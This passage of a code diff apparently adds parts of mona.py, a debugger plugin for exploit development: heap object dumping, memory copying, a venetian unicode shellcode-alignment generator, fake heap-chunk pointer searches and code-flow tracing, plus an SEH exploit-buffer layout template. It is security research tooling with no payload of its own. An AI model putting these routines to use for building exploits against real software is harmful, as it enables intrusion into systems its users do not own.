overwrittentype == "unicode": + dbg.log("[Junk * %d]['\\xeb\\x06\\x41\\x41'][p/p/r][shellcode][more junk if needed]" % (overwrittenoffset)) + else: + overwrittenoffset += 2 + dbg.log("[Junk * %d][nseh - walkover][unicode p/p/r][venetian alignment][shellcode][more junk if needed]" % overwrittenoffset) + return + + + def procDumpLog(args): + logfile = "" + levels = 0 + nestedsize = 0x28 + + if "f" in args: + if type(args["f"]).__name__.lower() != "bool": + logfile = args["f"] + + if "l" in args: + if type(args["l"]).__name__.lower() != "bool": + if str(args["l"]).lower().startswith("0x"): + try: + levels = int(args["l"],16) + except: + levels = 0 + else: + try: + levels = int(args["l"]) + except: + levels = 0 + + if "m" in args: + if type(args["m"]).__name__.lower() != "bool": + if str(args["m"]).lower().startswith("0x"): + try: + nestedsize = int(args["m"],16) + except: + nestedsize = 0x28 + else: + try: + nestedsize = int(args["m"]) + except: + nestedsize = 0x28 + + if logfile == "": + dbg.log(" *** Error: please specify a valid logfile with argument -f ***",highlight=1) + return + + allocs = 0 + frees = 0 + # open logfile and record all objects & sizes + logdata = {} + try: + dbg.log("[+] Parsing logfile %s" % logfile) + f = open(logfile,"rb") + contents = f.readlines() + f.close() + + for tline in contents: + line = str(tline) + if line.startswith("alloc("): + size = "" + addy = "" + lineparts = line.split("(") + if len(lineparts) > 1: + sizeparts = lineparts[1].split(")") + size = sizeparts[0].replace(" ","") + lineparts = line.split("=") + if len(lineparts) > 1: + linepartaddy = lineparts[1].split(" ") + for lpa in linepartaddy: + if addy != "": + break + if lpa != "": + addy = lpa + if size != "" and addy != "": + size = size.lower() + addy = addy.lower() + if not addy in logdata: + logdata[addy] = size + allocs += 1 + + if line.startswith("free("): + addy = "" + lineparts = line.split("(") + if len(lineparts) > 1: + addyparts = lineparts[1].split(")") + addy = addyparts[0].replace(" ","") + if addy != "": + addy = addy.lower() + if addy in logdata: + del logdata[addy] + frees += 1 + + dbg.log("[+] Logfile parsed, %d objects found" % len(logdata)) + dbg.log(" Total allocs: %d, total free: %d" % (allocs,frees)) + dbg.log("[+] Dumping objects") + logfile = MnLog("dump_alloc_free.txt") + thislog = logfile.reset() + for addy in logdata: + asize = logdata[addy] + ptrx = MnPointer(int(addy,16)) + size = int(asize,16) + dumpdata = ptrx.dumpObjectAtLocation(size,levels,nestedsize,thislog,logfile) + + except: + dbg.log(" *** Unable to open logfile %s ***" % logfile,highlight=1) + dbg.log(traceback.format_exc()) + return + + + return + + + def procDumpObj(args): + addy = 0 + levels = 0 + size = 0 + nestedsize = 0x28 + regs = dbg.getRegs() + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + addy,addyok = getAddyArg(args["a"]) + + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + if str(args["s"]).lower().startswith("0x"): + try: + size = int(args["s"],16) + except: + size = 0 + else: + try: + size = int(args["s"]) + except: + size = 0 + + if "l" in args: + if type(args["l"]).__name__.lower() != "bool": + if str(args["l"]).lower().startswith("0x"): + try: + levels = int(args["l"],16) + except: + levels = 0 + else: + try: + levels = int(args["l"]) + except: + levels = 0 + + if "m" in args: + if type(args["m"]).__name__.lower() != "bool": + if str(args["m"]).lower().startswith("0x"): + try: + nestedsize = int(args["m"],16) + except: + nestedsize = 0 + else: + try: + nestedsize = int(args["m"]) + except: + nestedsize = 0 + + errorsfound = False + if addy == 0: + errorsfound = True + dbg.log("*** Please specify a valid address to argument -a ***",highlight=1) + else: + ptrx = MnPointer(addy) + osize = size + if size == 0: + # no size specified + if addy > 0: + dbg.log("[+] No size specified, checking if address is part of known heap chunk") + + if ptrx.isInHeap(): + heapinfo = ptrx.getHeapInfo() + heapaddy = heapinfo[0] + chunkobj = heapinfo[3] + if not heapaddy == None: + if heapaddy > 0: + chunkaddy = chunkobj.chunkptr + size = chunkobj.usersize + dbg.log(" Address found in chunk 0x%08x, heap 0x%08x, (user)size 0x%02x" % (chunkaddy, heapaddy, size)) + addy = chunkobj.userptr + if size > 0xfff: + dbg.log(" I'll only dump 0xfff bytes from the object, for performance reasons") + size = 0xfff + if size > 0xfff and osize > 0: + errorsfound = True + dbg.log("*** Please keep the size below 0xfff (argument -s) ***",highlight=1) + if size == 0: + size = 0x28 + if levels > 0 and nestedsize == 0: + errorsfound = True + dbg.log("*** Please specify a valid size to argument -m ***",highlight=1) + + if not errorsfound: + ptrx = MnPointer(addy) + dumpdata = ptrx.dumpObjectAtLocation(size,levels,nestedsize) + + return + + + # routine to copy bytes from one location to another + def procCopy(args): + src = 0 + dst = 0 + nrbytes = 0 + regs = dbg.getRegs() + if "src" in args: + if type(args["src"]).__name__.lower() != "bool": + src,addyok = getAddyArg(args["src"]) + + if "dst" in args: + if type(args["dst"]).__name__.lower() != "bool": + dst,addyok = getAddyArg(args["dst"]) + + if "n" in args: + if type(args["n"]).__name__.lower() != "bool": + if "+" in str(args['n']) or "-" in str(args['n']): + nrbytes,bytesok = getAddyArg(args['n']) + if not bytesok: + errorsfound = True + else: + if str(args['n']).lower().startswith("0x"): + try: + nrbytes = int(args["n"],16) + except: + nrbytes = 0 + else: + try: + nrbytes = int(args["n"]) + except: + nrbytes = 0 + + errorsfound = False + if src == 0: + errorsfound = True + dbg.log("*** Please specify a valid source address to argument -src ***",highlight=1) + if dst == 0: + errorsfound = True + dbg.log("*** Please specify a valid destination address to argument -dst ***",highlight=1) + if nrbytes == 0: + errorsfound = True + dbg.log("*** Please specify a valid number of bytes to argument -n ***",highlight=1) + + if not errorsfound: + dbg.log("[+] Attempting to copy 0x%08x bytes from 0x%08x to 0x%08x" % (nrbytes, src, dst)) + sourcebytes = dbg.readMemory(src,nrbytes) + try: + dbg.writeMemory(dst,sourcebytes) + dbg.log(" Done.") + except: + dbg.log(" *** Copy failed, check if both locations are accessible/mapped",highlight=1) + + return + + + + # unicode alignment routines written by floyd (http://www.floyd.ch, twitter: @floyd_ch) + def procUnicodeAlign(args): + leaks = False + address = 0 + alignresults = {} + bufferRegister = "eax" #we will put ebp into the buffer register + timeToRun = 15 + registers = {"eax":0, "ebx":0, "ecx":0, "edx":0, "esp":0, "ebp":0,} + showerror = False + regs = dbg.getRegs() + + if "l" in args: + leaks = True + + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + address,addyok = getAddyArg(args["a"]) + else: + address = regs["EIP"] + if leaks: + address += 1 + + if address == 0: + dbg.log("Please enter a valid address with argument -a",highlight=1) + dbg.log("This address must be the location where the alignment code will be placed/start") + dbg.log("(without leaking zero byte). Don't worry, the script will only use") + dbg.log("it to calculate the offset from the address to EBP.") + showerror=True + + if "b" in args: + if args["b"].lower().strip() == "eax": + bufferRegister = 'eax' + elif args["b"].lower().strip() == "ebx": + bufferRegister = 'ebx' + elif args["b"].lower().strip() == "ecx": + bufferRegister = 'ecx' + elif args["b"].lower().strip() == "edx": + bufferRegister = 'edx' + else: + dbg.log("Please enter a valid register with argument -b") + dbg.log("Valid registers are: eax, ebx, ecx, edx") + showerror = True + + if "t" in args and args["t"] != "": + try: + timeToRun = int(args["t"]) + if timeToRun < 0: + timeToRun = timeToRun * (-1) + except: + dbg.log("Please enter a valid integer for -t",highlight=1) + showerror=True + if "ebp" in args and args["ebp"] != "": + try: + registers["ebp"] = int(args["ebp"],16) + except: + dbg.log("Please enter a valid value for ebp",highlight=1) + showerror=True + + dbg.log("[+] Start address for venetian alignment routine: 0x%08x" % address) + dbg.log("[+] Will prepend alignment with null byte compensation? %s" % str(leaks).lower()) + # ebp must be writeable for this routine to work + value_of_ebp = regs["EBP"] + dbg.log("[+] Checking if ebp (0x%08x) is writeable" % value_of_ebp) + ebpaccess = getPointerAccess(value_of_ebp) + if not "WRITE" in ebpaccess: + dbg.log("[!] Warning! ebp does not appear to be writeable!",highlight = 1) + dbg.log(" You will have to run some custom instructions first to make ebp writeable") + dbg.log(" and at that point, run this mona command again.") + dbg.log(" Hints: maybe you can pop something off the stack into ebp,") + dbg.log(" or push esp and pop it into ebp.") + showerror = True + else: + dbg.log(" OK (%s)" % ebpaccess) + if not showerror: + + alignresults = prepareAlignment(leaks, address, bufferRegister, timeToRun, registers) + # write results to file + if len(alignresults) > 0: + if not silent: + dbg.log("[+] Alignment generator finished, %d results" % len(alignresults)) + logfile = MnLog("venetian_alignment.txt") + thislog = logfile.reset() + for resultnr in alignresults: + resulttitle = "Alignment routine %d:" % resultnr + logfile.write(resulttitle,thislog) + logfile.write("-" * len(resulttitle),thislog) + theseresults = alignresults[resultnr] + for resultinstructions in theseresults: + logfile.write("Instructions:",thislog) + resultlines = resultinstructions.split(";") + for resultline in resultlines: + logfile.write(" %s" % resultline.strip(),thislog) + logfile.write("Hex:",thislog) + logfile.write("'%s'" % theseresults[resultinstructions],thislog) + logfile.write("",thislog) + return alignresults + + + def prepareAlignment(leaks, address, bufferRegister, timeToRun, registers): + + def getRegister(registerName): + registerName = registerName.upper() + regs = dbg.getRegs() + if registerName in regs: + return regs[registerName] + + def calculateNewXregister(x,h,l): + return ((x>>16)<<16)+(h<<8)+l + + prefix = "" + postfix = "" + additionalLength = 0 #Length of the prefix+postfix instructions in after-unicode-conversion bytes + code_to_get_rid_of_zeros = "add [ebp],ch; " #\x6d --> \x00\x6d\x00 + + buf_sig = bufferRegister[1] + + registers_to_fill = ["ah", "al", "bh", "bl", "ch", "cl", "dh", "dl"] #important: h's first! + registers_to_fill.remove(buf_sig+"h") + registers_to_fill.remove(buf_sig+"l") + + leadingZero = leaks + + for name in registers: + if not registers[name]: + registers[name] = getRegister(name) + + #256 values with only 8276 instructions (bruteforced), best found so far: + #values_to_generate_all_255_values = [71, 87, 15, 251, 162, 185] + #but to be on the safe side, let's take only A-Za-z values (in 8669 instructions): + values_to_generate_all_255_values = [86, 85, 75, 109, 121, 99] + + new_values = zip(registers_to_fill, values_to_generate_all_255_values) + + if leadingZero: + prefix += code_to_get_rid_of_zeros + additionalLength += 2 + leadingZero = False + #prefix += "mov bl,0; mov bh,0; mov cl,0; mov ch,0; mov dl,0; mov dh,0; " + #additionalLength += 12 + for name, value in zip(registers_to_fill, values_to_generate_all_255_values): + padding = "" + if value < 16: + padding = "0" + if "h" in name: + prefix += "mov e%sx,0x4100%s%s00; " % (name[0], padding, hex(value)[2:]) + prefix += "add [ebp],ch; " + additionalLength += 8 + if "l" in name: + prefix += "mov e%sx,0x4100%s%s00; " % (buf_sig, padding, hex(value)[2:]) + prefix += "add %s,%sh; " % (name, buf_sig) + prefix += "add [ebp],ch; " + additionalLength += 10 + leadingZero = False + new_values_dict = dict(new_values) + for new in registers_to_fill[::2]: + n = new[0] + registers['e%sx'%n] = calculateNewXregister(registers['e%sx'%n], new_values_dict['%sh'%n], new_values_dict['%sl'%n]) + + if leadingZero: + prefix += code_to_get_rid_of_zeros + additionalLength += 2 + leadingZero = False + #Let's push the value of ebp into the BufferRegister + prefix += "push ebp; %spop %s; " % (code_to_get_rid_of_zeros, bufferRegister) + leadingZero = True + additionalLength += 6 + registers[bufferRegister] = registers["ebp"] + + if not leadingZero: + #We need a leading zero for the ADD operations + prefix += "push ebp; " #something 1 byte, doesn't matter what + leadingZero = True + additionalLength += 2 + + #The last ADD command will leak another zero to the next instruction + #Therefore append (postfix) a last instruction to get rid of it + #so the shellcode is nicely aligned + postfix += code_to_get_rid_of_zeros + additionalLength += 2 + + alignresults = generateAlignment(address, bufferRegister, registers, timeToRun, prefix, postfix, additionalLength) + + return alignresults + + + def generateAlignment(alignment_code_loc, bufferRegister, registers, timeToRun, prefix, postfix, additionalLength): + + import copy, random, time + + alignresults = {} + + def sanitiseZeros(originals, names): + for index, i in enumerate(originals): + if i == 0: + warn("Your %s register is zero. That's bad for the heuristic." % names[index]) + warn("In general this means there will be no result or they consist of more bytes.") + + def checkDuplicates(originals, names): + duplicates = len(originals) - len(set(originals)) + if duplicates > 0: + warn("""Some of the 2 byte registers seem to be the same. There is/are %i duplicate(s):""" % duplicates) + warn("In general this means there will be no result or they consist of more bytes.") + warn(", ".join(names)) + warn(", ".join(hexlist(originals))) + + def checkHigherByteBufferRegisterForOverflow(g1, name, g2): + overflowDanger = 0x100-g1 + max_instructions = overflowDanger*256-g2 + if overflowDanger <= 3: + warn("Your BufferRegister's %s register value starts pretty high (%s) and might overflow." % (name, hex(g1))) + warn("Therefore we only look for solutions with less than %i bytes (%s%s until overflow)." % (max_instructions, hex(g1), hex(g2)[2:])) + warn("This makes our search space smaller, meaning it's harder to find a solution.") + return max_instructions + + def randomise(values, maxValues): + for index, i in enumerate(values): + if random.random() <= MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS: + values[index] += 1 + values[index] = values[index] % maxValues[index] + + def check(as1, index_for_higher_byte, ss, gs, xs, ys, M, best_result): + g1, g2 = gs + s1, s2 = ss + sum_of_instructions = 2*sum(xs) + 2*sum(ys) + M + if best_result > sum_of_instructions: + res0 = s1 + res1 = s2 + for index, _ in enumerate(as1): + res0 += as1[index]*xs[index] % 256 + res0 = res0 - ((g2+sum_of_instructions)/256) + as2 = copy.copy(as1) + as2[index_for_higher_byte] = (g1 + ((g2+sum_of_instructions)/256)) % 256 + for index, _ in enumerate(as2): + res1 += as2[index]*ys[index] % 256 + res1 = res1 - sum_of_instructions + if g1 == res0 % 256 and g2 == res1 % 256: + return sum_of_instructions + return 0 + + def printNicely(names, buffer_registers_4_byte_names, xs, ys, additionalLength=0, prefix="", postfix=""): + + thisresult = {} + + resulting_string = prefix + sum_bytes = 0 + for index, x in enumerate(xs): + for k in range(0, x): + resulting_string += "add "+buffer_registers_4_byte_names[0]+","+names[index]+"; " + sum_bytes += 2 + for index, y in enumerate(ys): + for k in range(y): + resulting_string += "add "+buffer_registers_4_byte_names[1]+","+names[index]+"; " + sum_bytes += 2 + resulting_string += postfix + sum_bytes += additionalLength + if not silent: + info("[+] %i resulting bytes (%i bytes injection) of Unicode code alignment. Instructions:"%(sum_bytes,sum_bytes/2)) + info(" ", resulting_string) + hex_string = metasm(resulting_string) + if not silent: + info(" Unicode safe opcodes without zero bytes:") + info(" ", hex_string) + thisresult[resulting_string] = hex_string + return thisresult + + + def metasm(inputInstr): + #the immunity and metasm assembly differ a lot: + #immunity add [ebp],ch "\x00\xad\x00\x00\x00\x00" + #metasm add [ebp],ch "\x00\x6d\x00" --> we want this! + #Therefore implementing our own "metasm" mapping here + #same problem for things like mov eax,0x41004300 + ass_operation = {'add [ebp],ch': '\\x00\x6d\\x00', 'pop ebp': ']', 'pop edx': 'Z', 'pop ecx': 'Y', 'push ecx': 'Q', + 'pop ebx': '[', 'push ebx': 'S', 'pop eax': 'X', 'push eax': 'P', 'push esp': 'T', 'push ebp': 'U', + 'push edx': 'R', 'pop esp': '\\', 'add dl,bh': '\\x00\\xfa', 'add dl,dh': '\\x00\\xf2', + 'add dl,ah': '\\x00\\xe2', 'add ah,al': '\\x00\\xc4', 'add ah,ah': '\\x00\\xe4', 'add ch,bl': '\\x00\\xdd', + 'add ah,cl': '\\x00\\xcc', 'add bl,ah': '\\x00\\xe3', 'add bh,dh': '\\x00\\xf7', 'add bl,cl': '\\x00\\xcb', + 'add ah,ch': '\\x00\\xec', 'add bl,al': '\\x00\\xc3', 'add bh,dl': '\\x00\\xd7', 'add bl,ch': '\\x00\\xeb', + 'add dl,cl': '\\x00\\xca', 'add dl,bl': '\\x00\\xda', 'add al,ah': '\\x00\\xe0', 'add bh,ch': '\\x00\\xef', + 'add al,al': '\\x00\\xc0', 'add bh,cl': '\\x00\\xcf', 'add al,ch': '\\x00\\xe8', 'add dh,bl': '\\x00\\xde', + 'add ch,ch': '\\x00\\xed', 'add cl,dl': '\\x00\\xd1', 'add al,cl': '\\x00\\xc8', 'add dh,bh': '\\x00\\xfe', + 'add ch,cl': '\\x00\\xcd', 'add cl,dh': '\\x00\\xf1', 'add ch,ah': '\\x00\\xe5', 'add cl,bl': '\\x00\\xd9', + 'add dh,al': '\\x00\\xc6', 'add ch,al': '\\x00\\xc5', 'add cl,bh': '\\x00\\xf9', 'add dh,ah': '\\x00\\xe6', + 'add dl,dl': '\\x00\\xd2', 'add dh,cl': '\\x00\\xce', 'add dh,dl': '\\x00\\xd6', 'add ah,dh': '\\x00\\xf4', + 'add dh,dh': '\\x00\\xf6', 'add ah,dl': '\\x00\\xd4', 'add ah,bh': '\\x00\\xfc', 'add ah,bl': '\\x00\\xdc', + 'add bl,bh': '\\x00\\xfb', 'add bh,al': '\\x00\\xc7', 'add bl,dl': '\\x00\\xd3', 'add bl,bl': '\\x00\\xdb', + 'add bh,ah': '\\x00\\xe7', 'add bl,dh': '\\x00\\xf3', 'add bh,bl': '\\x00\\xdf', 'add al,bl': '\\x00\\xd8', + 'add bh,bh': '\\x00\\xff', 'add al,bh': '\\x00\\xf8', 'add al,dl': '\\x00\\xd0', 'add dl,ch': '\\x00\\xea', + 'add dl,al': '\\x00\\xc2', 'add al,dh': '\\x00\\xf0', 'add cl,cl': '\\x00\\xc9', 'add cl,ch': '\\x00\\xe9', + 'add ch,bh': '\\x00\\xfd', 'add cl,al': '\\x00\\xc1', 'add ch,dh': '\\x00\\xf5', 'add cl,ah': '\\x00\\xe1', + 'add dh,ch': '\\x00\\xee', 'add ch,dl': '\\x00\\xd5', 'add ch,ah': '\\x00\\xe5', 'mov dh,0': '\\xb6\\x00', + 'add dl,ah': '\\x00\\xe2', 'mov dl,0': '\\xb2\\x00', 'mov ch,0': '\\xb5\\x00', 'mov cl,0': '\\xb1\\x00', + 'mov bh,0': '\\xb7\\x00', 'add bl,ah': '\\x00\\xe3', 'mov bl,0': '\\xb3\\x00', 'add dh,ah': '\\x00\\xe6', + 'add cl,ah': '\\x00\\xe1', 'add bh,ah': '\\x00\\xe7'} + for example_instr, example_op in [("mov eax,0x41004300", "\\xb8\\x00\\x43\\x00\\x41"), + ("mov ebx,0x4100af00", "\\xbb\\x00\\xaf\\x00\\x41"), + ("mov ecx,0x41004300", "\\xb9\\x00\\x43\\x00\\x41"), + ("mov edx,0x41004300", "\\xba\\x00\\x43\\x00\\x41")]: + for i in range(0,256): + padding ="" + if i < 16: + padding = "0" + new_instr = example_instr[:14]+padding+hex(i)[2:]+example_instr[16:] + new_op = example_op[:10]+padding+hex(i)[2:]+example_op[12:] + ass_operation[new_instr] = new_op + res = "" + for instr in inputInstr.split("; "): + if instr in ass_operation: + res += ass_operation[instr].replace("\\x00","") + elif instr.strip(): + warn(" Couldn't find metasm assembly for %s" % str(instr)) + warn(" You have to manually convert it in the metasm shell") + res += "<"+instr+">" + return res + + def getCyclic(originals): + cyclic = [0 for i in range(0,len(originals))] + for index, orig_num in enumerate(originals): + cycle = 1 + num = orig_num + while True: + cycle += 1 + num += orig_num + num = num % 256 + if num == orig_num: + cyclic[index] = cycle + break + return cyclic + + def hexlist(lis): + return [hex(i) for i in lis] + + def theX(num): + res = (num>>16)<<16 ^ num + return res + + def higher(num): + res = num>>8 + return res + + def lower(num): + res = ((num>>8)<<8) ^ num + return res + + def info(*text): + dbg.log(" ".join(str(i) for i in text)) + + def warn(*text): + dbg.log(" ".join(str(i) for i in text), highlight=1) + + def debug(*text): + if False: + dbg.log(" ".join(str(i) for i in text)) + + + buffer_registers_4_byte_names = [bufferRegister[1]+"h", bufferRegister[1]+"l"] + buffer_registers_4_byte_value = theX(registers[bufferRegister]) + + MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS=0.25 + MAGIC_PROBABILITY_OF_RESETTING=0.04 + MAGIC_MAX_PROBABILITY_OF_RESETTING=0.11 + + originals = [] + ax = theX(registers["eax"]) + ah = higher(ax) + al = lower(ax) + + bx = theX(registers["ebx"]) + bh = higher(bx) + bl = lower(bx) + + cx = theX(registers["ecx"]) + ch = higher(cx) + cl = lower(cx) + + dx = theX(registers["edx"]) + dh = higher(dx) + dl = lower(dx) + + start_address = theX(buffer_registers_4_byte_value) + s1 = higher(start_address) + s2 = lower(start_address) + + alignment_code_loc_address = theX(alignment_code_loc) + g1 = higher(alignment_code_loc_address) + g2 = lower(alignment_code_loc_address) + + names = ['ah', 'al', 'bh', 'bl', 'ch', 'cl', 'dh', 'dl'] + originals = [ah, al, bh, bl, ch, cl, dh, dl] + sanitiseZeros(originals, names) + checkDuplicates(originals, names) + best_result = checkHigherByteBufferRegisterForOverflow(g1, buffer_registers_4_byte_names[0], g2) + + xs = [0 for i in range(0,len(originals))] + ys = [0 for i in range(0,len(originals))] + + cyclic = getCyclic(originals) + mul = 1 + for i in cyclic: + mul *= i + + if not silent: + dbg.log("[+] Searching for random solutions for code alignment code in at least %i possibilities..." % mul) + dbg.log(" Bufferregister: %s" % bufferRegister) + dbg.log(" Max time: %d seconds" % timeToRun) + dbg.log("") + + #We can't even know the value of AH yet (no, it's NOT g1 for high instruction counts) + cyclic2 = copy.copy(cyclic) + cyclic2[names.index(buffer_registers_4_byte_names[0])] = 9999999 + + number_of_tries = 0.0 + beginning = time.time() + resultFound = False + resultcnt = 0 + while time.time()-beginning < timeToRun: #Run only timeToRun seconds! + randomise(xs, cyclic) + randomise(ys, cyclic2) + + #[Extra constraint!] + #not allowed: all operations with the bufferRegister, + #because we can not rely on it's values, e.g. + #add al, al + #add al, ah + #add ah, ah + #add ah, al + xs[names.index(buffer_registers_4_byte_names[0])] = 0 + xs[names.index(buffer_registers_4_byte_names[1])] = 0 + ys[names.index(buffer_registers_4_byte_names[0])] = 0 + ys[names.index(buffer_registers_4_byte_names[1])] = 0 + + tmp = check(originals, names.index(buffer_registers_4_byte_names[0]), [s1, s2], [g1, g2], xs, ys, additionalLength, best_result) + + if tmp > 0: + best_result = tmp + #we got a new result + resultFound = True + alignresults[resultcnt] = printNicely(names, buffer_registers_4_byte_names, xs, ys, additionalLength, prefix, postfix) + resultcnt += 1 + if not silent: + dbg.log(" Time elapsed so far: %s seconds" % (time.time()-beginning)) + dbg.log("") + #Slightly increases probability of resetting with time + probability = MAGIC_PROBABILITY_OF_RESETTING+number_of_tries/(10**8) + if probability < MAGIC_MAX_PROBABILITY_OF_RESETTING: + number_of_tries += 1.0 + if random.random() <= probability: + xs = [0 for i in range(0,len(originals))] + ys = [0 for i in range(0,len(originals))] + if not silent: + dbg.log("") + dbg.log(" Done. Total time elapsed: %s seconds" % (time.time()-beginning)) + + + if not resultFound: + dbg.log("") + dbg.log("No results. Please try again (you might want to increase -t)") + dbg.log("") + dbg.log("If you are unsatisfied with the result, run the command again and use the -t option") + dbg.log("") + return alignresults + # end unicode alignemt routines + + + def procHeapCookie(args): + # first find all writeable pages + allpages = dbg.getMemoryPages() + filename="heapcookie.txt" + orderedpages = [] + cookiemonsters = [] + for tpage in allpages.keys(): + orderedpages.append(tpage) + orderedpages.sort() + for thispage in orderedpages: + page = allpages[thispage] + page_base = page.getBaseAddress() + page_size = page.getSize() + page_end = page_base + page_size + acl = page.getAccess(human=True) + if "WRITE" in acl: + processpage = True + # don't even bother if page belongs to module that is ASLR/Rebased + pageptr = MnPointer(page_base) + thismodulename = pageptr.belongsTo() + if thismodulename != "": + thismod = MnModule(thismodulename) + if thismod.isAslr or thismod.isRebase: + processpage = False + if processpage: + dbg.log("[+] Walking page 0x%08x - 0x%08x (%s)" % (page_base,page_end,acl)) + startptr = page_base # we need to start here + while startptr < page_end-16: + # pointer needs to pass 3 tests + try: + heap_entry = startptr + userptr = heap_entry + 0x8 + cookieptr = heap_entry + 5 + raw_heapcookie = dbg.readMemory(cookieptr,1) + heapcookie = struct.unpack(" 0: + # write to log + dbg.log("Found %s (fake) UserPtr pointers." % len(cookiemonsters)) + all_ptrs = {} + all_ptrs[""] = cookiemonsters + logfile = MnLog(filename) + thislog = logfile.reset() + processResults(all_ptrs,logfile,thislog) + else: + dbg.log("Bad luck, no results.") + return + + + def procFlags(args): + currentflag = getNtGlobalFlag() + dbg.log("[+] NtGlobalFlag: 0x%08x" % currentflag) + flagvalues = getNtGlobalFlagValues(currentflag) + if len(flagvalues) == 0: + dbg.log(" No GFlags set") + else: + for flagvalue in flagvalues: + dbg.log(" 0x%08x : %s" % (flagvalue,getNtGlobalFlagValueName(flagvalue))) + return + + + def procEval(args): + # put all args together + argline = "" + if len(currentArgs) > 1: + if __DEBUGGERAPP__ == "WinDBG": + for a in currentArgs[2:]: + argline += a + else: + for a in currentArgs[1:]: + argline += a + argline = argline.replace(" ","") + if argline.replace(" ","") != "": + dbg.log("[+] Evaluating expression '%s'" % argline) + val,valok = getAddyArg(argline) + if valok: + dbg.log(" Result: 0x%08x" % val) + else: + dbg.log(" *** Unable to evaluate expression ***") + else: + dbg.log(" *** No expression found***") + return + + + + def procDiffHeap(args): + + global ignoremodules + filenamebefore = "heapstate_before.db" + filenameafter = "heapstate_after.db" + + ignoremodules = True + + statefilebefore = MnLog(filenamebefore) + thisstatefilebefore = statefilebefore.reset(clear=False) + + statefileafter = MnLog(filenameafter) + thisstatefileafter = statefileafter.reset(clear=False) + + ignoremodules = False + + + beforestate = {} + afterstate = {} + + #do we want to save states, or diff them? + + if not "before" in args and not "after" in args and not "diff" in args: + dbg.log("*** Missing mandatory argument -before, -after or -diff ***", highlight=1) + return + + if "diff" in args: + # check if before and after state file exists + if os.path.exists(thisstatefilebefore) and os.path.exists(thisstatefileafter): + # read contents from both states into dict + dbg.log("[+] Reading 'before' state from %s" % thisstatefilebefore) + beforestate = readPickleDict(thisstatefilebefore) + dbg.log("[+] Reading 'after' state from %s" % thisstatefileafter) + afterstate = readPickleDict(thisstatefileafter) + # compare + dbg.log("[+] Diffing heap states...") + + else: + if not os.path.exists(thisstatefilebefore): + dbg.log("[-] Oops, unable to find 'before' state file %s" % thisstatefilebefore) + if not os.path.exists(thisstatefileafter): + dbg.log("[-] Oops, unable to find 'after' state file %s" % thisstatefileafter) + return + + elif "before" in args: + thisstatefilebefore = statefilebefore.reset(showheader=False) + dbg.log("[+] Enumerating current heap layout, please wait...") + currentstate = getCurrentHeapState() + dbg.log("[+] Saving current heap layout to 'before' heap state file %s" % thisstatefilebefore) + # save dict to file + try: + writePickleDict(thisstatefilebefore, currentstate) + dbg.log("[+] Done") + except: + dbg.log("[-] Error while saving current state to file") + return + + elif "after" in args: + thisstatefileafter = statefileafter.reset(showheader=False) + dbg.log("[+] Enumerating current heap layout, please wait...") + currentstate = getCurrentHeapState() + dbg.log("[+] Saving current heap layout to 'after' heap state file %s" % thisstatefileafter) + try: + writePickleDict(thisstatefileafter, currentstate) + dbg.log("[+] Done") + except: + dbg.log("[-] Error while saving current state to file") + return + + return + + + def procFlow(args): + + srplist = [] + endlist = [] + cregs = [] + cregsc = [] + avoidlist = [] + endloc = 0 + rellist = {} + funcnamecache = {} + branchstarts = {} + maxinstr = 60 + maxcalllevel = 3 + callskip = 0 + instrcnt = 0 + regs = dbg.getRegs() + aregs = getAllRegs() + addy = regs["EIP"] + addyerror = False + eaddy = 0 + showfuncposition = False + + if "cl" in args: + if type(args["cl"]).__name__.lower() != "bool": + try: + maxcalllevel = int(args["cl"]) + except: + pass + + if "cs" in args: + if type(args["cs"]).__name__.lower() != "bool": + try: + callskip = int(args["cs"]) + except: + pass + if "avoid" in args: + if type(args["avoid"]).__name__.lower() != "bool": + try: + avoidl = args["avoid"].replace("'","").replace('"',"").replace(" ","").split(",") + for aa in avoidl: + a,aok = getAddyArg(aa) + if aok: + if not a in avoidlist: + avoidlist.append(a) + except: + pass + + if "cr" in args: + if type(args["cr"]).__name__.lower() != "bool": + crdata = args["cr"] + crdata = crdata.replace("'","").replace('"',"").replace(" ","") + crlist = crdata.split(",") + for c in crlist: + c1 = c.upper() + if c1 in aregs: + cregs.append(c1) + csmall = getSmallerRegs(c1) + for cs in csmall: + cregs.append(cs) + + if "crc" in args: + if type(args["crc"]).__name__.lower() != "bool": + crdata = args["crc"] + crdata = crdata.replace("'","").replace('"',"").replace(" ","") + crlist = crdata.split(",") + for c in crlist: + c1 = c.upper() + if c1 in aregs: + cregsc.append(c1) + csmall = getSmallerRegs(c1) + for cs in csmall: + cregsc.append(cs) + + cregs = list(set(cregs)) + cregsc = list(set(cregsc)) + + if "n" in args: + if type(args["n"]).__name__.lower() != "bool": + try: + maxinstr = int(args["n"]) + except: + pass + + if "func" in args: + showfuncposition = True + + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + addy,addyok = getAddyArg(args["a"]) + if not addyok: + dbg.log(" ** Please provide a valid start location with argument -a **") + return + + if "e" in args: + if type(args["e"]).__name__.lower() != "bool": + eaddy,eaddyok = getAddyArg(args["e"]) + if not eaddyok: + dbg.log(" ** Please provide a valid end location with argument -e **") + return + + + dbg.log("[+] Max nr of instructions per branch: %d" % maxinstr) + dbg.log("[+] Maximum CALL level: %d" % maxcalllevel) + if len(avoidlist) > 0: + dbg.log("[+] Only showing flows that don't contains these pointer(s):") + for a in avoidlist: + dbg.log(" 0x%08x" % a) + if callskip > 0: + dbg.log("[+] Skipping details of the first %d child functions" % callskip) + if eaddy > 0: + dbg.log("[+] Searching all possible paths between 0x%08x and 0x%08x" % (addy,eaddy)) + else: + dbg.log("[+] Searching all possible paths from 0x%08x" % (addy)) + if len(cregs) > 0: + dbg.log("[+] Controlled registers: %s" % cregs) + if len(cregsc) > 0: + dbg.log("[+] Controlled register contents: %s" % cregsc) + + # first, get SRPs at this point + if addy == regs["EIP"]: + cmd2run = "k" + srpdata = dbg.nativeCommand(cmd2run) + for line in srpdata.split("\n"): + linedata = line.split(" ") + if len(linedata) > 1: + childebp = linedata[0] + srp = linedata[1] + if isAddress(childebp) and isAddress(srp): + srplist.append(hexStrToInt(srp)) + + branchstarts[addy] = [0,srplist,0] + curlocs = [addy] + + # create relations + while len(curlocs) > 0: + curloc = curlocs.pop(0) + callcnt = 0 + #dbg.log("New start location: 0x%08x" % curloc) + prevloc = curloc + instrcnt = 